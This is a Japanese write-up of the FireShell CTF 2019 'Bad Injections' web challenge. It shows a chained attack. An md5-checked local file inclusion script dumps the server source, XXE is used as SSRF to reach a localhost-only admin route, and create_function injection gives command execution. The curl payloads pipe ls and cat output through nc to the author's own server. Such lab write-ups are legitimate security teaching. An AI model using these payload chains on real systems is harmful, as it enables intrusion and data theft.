FireShell CTF 2019 Writeup - Bad Injections
解答者がそこそこ多かったため最低点まで下がってしまったが、段階的に複数の脆弱性を突いて攻略していく問題で、やり応えはあった。
1つ1つの攻撃手法の難易度は高くなく、1問で複数の脆弱性を学べるという点では良問ではないだろうか。
Question
Solution
URLにアクセスすると、Home、About、Contact、Listの4つのタブ。
どうやら作りかけのWebサイトの様子。
Stage1. Local File Inclusion
Listの画面を表示する。
<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> </head> <body> <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css"> <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css"> <script src="https://code.jquery.com/jquery-3.1.1.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> <script src="semantic/dist/semantic.min.js"></script> <div class="ui tabular menu"> <a class="item" href='/'> Home </a> <a class="item" href='about-us'> About </a> <a class="item" href='contact-us'> Contact </a> <a class='item active' href="list"> List </a> </div> <div class='ui center aligned container'> <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/><img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="500"/> </div> </body> </html>
download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b
にアクセスすると以下のファイルをダウンロードできた。
サーバ上に/app/Controllers/Download.php
というファイルがあることがわかる。
<br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> 1
file
パラメータにLFIの可能性がありそう。hash
パラメータは何だろうか。
/etc/passwd
の取得と、hash
パラメータの削除を試してみる。
root@kali:~# curl "http://68.183.31.62:94/download?file=../../../etc/passwd&hash=293d05cb2ced82858519bdec71a0354b" not found! root@kali:~# curl "http://68.183.31.62:94/download?file=files/test.txt" jdas
どうやらfile
とhash
が条件を満たしていないと、ファイルをダウンロードできないようだ。
試しにfiles/test.txt
文字列のmd5を取ってみる。
root@kali:~# echo -n files/test.txt | md5sum 293d05cb2ced82858519bdec71a0354b -
ビンゴ。
file
パラメータのmd5をhash
パラメータにセットすれば、LFIで任意のファイルを取得できる。
毎回、hashを計算するのは面倒なので、簡単なスクリプトを作る。
import sys import hashlib import requests path = sys.argv[1] m = hashlib.md5() m.update(path) h = m.hexdigest() r = requests.get( "http://68.183.31.62:94/download", params={ "file":path, "hash":h } ) print(r.text)
test.txtのヒントを元に、/app/Controllers/Download.php
を取得する。
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Download.php <br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> <?php class Download extends Controller{ public static function downloadFile($file,$hash){ if(file_exists($file) && md5($file) == $hash){ switch(strtolower(substr(strrchr(basename($file),"."),1))){ case "pdf": $type="application/pdf"; break; case "exe": $type="application/octet-stream"; break; case "zip": $type="application/zip"; break; case "doc": $type="application/msword"; break; case "xls": $type="application/vnd.ms-excel"; break; case "ppt": $type="application/vnd.ms-powerpoint"; break; case "gif": $type="image/gif"; break; case "png": $type="image/png"; break; case "jpg": $type="image/jpg"; break; case "mp3": $type="audio/mpeg"; break; case "php": ; break; case "htm": case "html": } header("Content-Type: ".$type); header("Content-Length: ".filesize($file)); header("Content-Disposition: attachment; filename=".basename($file)); return readfile($file); }else{ echo 'not found!'; } } } ?> 1081
他、得られたソースファイルを手掛かりに、芋づる式にソースファイルを取得する。
全ては載せていないが、合計20近くのファイルがあった。
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/index.php <br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> <?php ini_set('display_errors',1); ini_set('display_startup_erros',1); error_reporting(E_ALL); require_once('Routes.php'); function __autoload($class_name){ if(file_exists('./classes/'.$class_name.'.php')){ require_once './classes/'.$class_name.'.php'; }else if(file_exists('./Controllers/'.$class_name.'.php')){ require_once './Controllers/'.$class_name.'.php'; } } ?> 386 --------------------------------------------------------------------------------- root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Routes.php <br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> <?php Route::set('index.php',function(){ Index::createView('Index'); }); Route::set('index',function(){ Index::createView('Index'); }); Route::set('about-us',function(){ AboutUs::createView('AboutUs'); }); Route::set('contact-us',function(){ ContactUs::createView('ContactUs'); }); Route::set('list',function(){ ContactUs::createView('Lista'); }); Route::set('verify',function(){ if(!isset($_GET['file']) && !isset($_GET['hash'])){ Verify::createView('Verify'); }else{ Verify::verifyFile($_GET['file'],$_GET['hash']); } }); Route::set('download',function(){ if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){ echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']); }else{ echo 'jdas'; } }); Route::set('verify/download',function(){ Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']); }); Route::set('custom',function(){ $handler = fopen('php://input','r'); $data = stream_get_contents($handler); if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView('Custom'); } }); Route::set('admin',function(){ if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){ Admin::createView('Admin'); }else{ if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){ Admin::sort($_REQUEST['rss'],$_REQUEST['order']); }else{ echo ";("; } } }); Route::set('custom/sort',function(){ Custom::sort($_REQUEST['rss'],$_REQUEST['order']); }); Route::set('index',function(){ Index::createView('Index'); }); ?> 1554 --------------------------------------------------------------------------------- root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Custom.php <br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> <?php class Custom extends Controller{ public static function Test($string){ $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT); $test = $root->name; echo $test; } } ?> 215 --------------------------------------------------------------------------------- root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Admin.php <br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> <?php class Admin extends Controller{ public static function sort($url,$order){ $uri = parse_url($url); $file = file_get_contents($url); $dom = new DOMDocument(); $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); if($xml){ //echo count($xml->channel->item); //var_dump($xml->channel->item->link); $data = []; for($i=0;$i<count($xml->channel->item);$i++){ //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n"; $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link); //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link; } //var_dump($data); usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); echo '<div class="ui list">'; foreach($data as $dt) { $html = '<div class="item">'; $html .= ''.$dt->id.' - '; $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>'; $html .= '</div>'; } $html .= "</div>"; echo $html; }else{ $html .= "Error, not found XML file!"; $html .= "<code>"; $html .= "<pre>"; $html .= $file; $html .= "</pre>"; $hmlt .= "</code>"; echo $html; } } } ?> 1296 --------------------------------------------------------------------------------- root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/.htaccess <br /> <b>Notice</b>: Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br /> RewriteEngine On RewriteRule ^files/ - [L,NC] RewriteRule ^semantic/ - [L,NC] RewriteRule ^([^/]+)/? index.php?url=$1 [L,QSA] 127
Stage2. XML External Entity、Server Side Request Forgery
Routes.php
の分岐(以下に抜粋)を見ると、Admin::sort
を呼ぶにはサーバのローカルからアクセスしないといけない。
後述のStage3で詳しく記載するが、Admin::sort
にRCEの脆弱性がある。
Route::set('admin',function(){ if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){ Admin::createView('Admin'); }else{ if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){ Admin::sort($_REQUEST['rss'],$_REQUEST['order']); }else{ echo ";("; } } });
Routes.php
とCustom.php
のコードを確認すると、/custom
にPOSTリクエストでデータを送ると、送ったデータをそのままsimplexml_load_string
関数に渡して実行されることがわかる。
XML External Entityを使用することで、XMLをロードするタイミングでサーバからHTTPリクエストを発行し、Server Side Request Forgeryができる。
上記のOWASPのページの一番下のサンプルがわかりやすい。以下に抜粋する。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
http://www.attacker.com/text.txt
の箇所をhttp://127.0.0.1/admin
に変更すればよい。
Stage3. Remote Code Execution
http://127.0.0.1/admin
を呼んでAdmin::sort
を実行する準備が整ったので、セットするパラメータを考える。
Admin::sort
の以下の部分にRCEの脆弱性がある。
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
$orderにhoge||system('任意のコマンド')
をセットすれば、任意のコマンドを実行できる。
$order
は$_REQUEST["order"]
から移送されるため、パラメータで自由にセット可能。
ただ、$data
に2件以上のレコードがセットされていないとusortが動かない。
$data
には$_REQUEST["url"]
から取得したXMLをパースしてセットするため、自サーバにXMLファイルを作って配備する。
<root> <channel> <item><link>aaa</link></item> <item><link>bbb</link></item> </channel> </root>
あとは任意のコマンドを埋めこんだURLを組み立てる。
最初はls|nc myserver port
を実行させる。(ReverseShellを実行したかったが、うまくいかなかったので、1コマンドずつ実行。)
curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27ls%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
自サーバにてncコマンドで構えてから、上記のcurlコマンドを実行する。
root@kali:/# nc -l -p 12345 Controllers Routes.php Views classes files index.php requirements.txt semantic
うまくいった。
次に親ディレクトリを見るため、ls ..|nc myserver port
を実行させる。
curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27ls%20..%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
root@kali:/# nc -l -p 12345 app bin boot create_mysql_admin_user.sh da0f72d5d79169971b62a479c34198e7 dev etc home lib lib64 media mnt opt proc root run run.sh sbin srv start-apache2.sh start-mysqld.sh sys tmp usr var
da0f72d5d79169971b62a479c34198e7
という怪しいファイルがある。
cat ../da0f72d5d79169971b62a479c34198e7|nc myserver port
を実行させる。
curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27cat%20../da0f72d5d79169971b62a479c34198e7%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
root@kali:/# nc -l -p 12345 f#{1_d0nt_kn0w_wh4t_i4m_d01ng}
フラグゲット。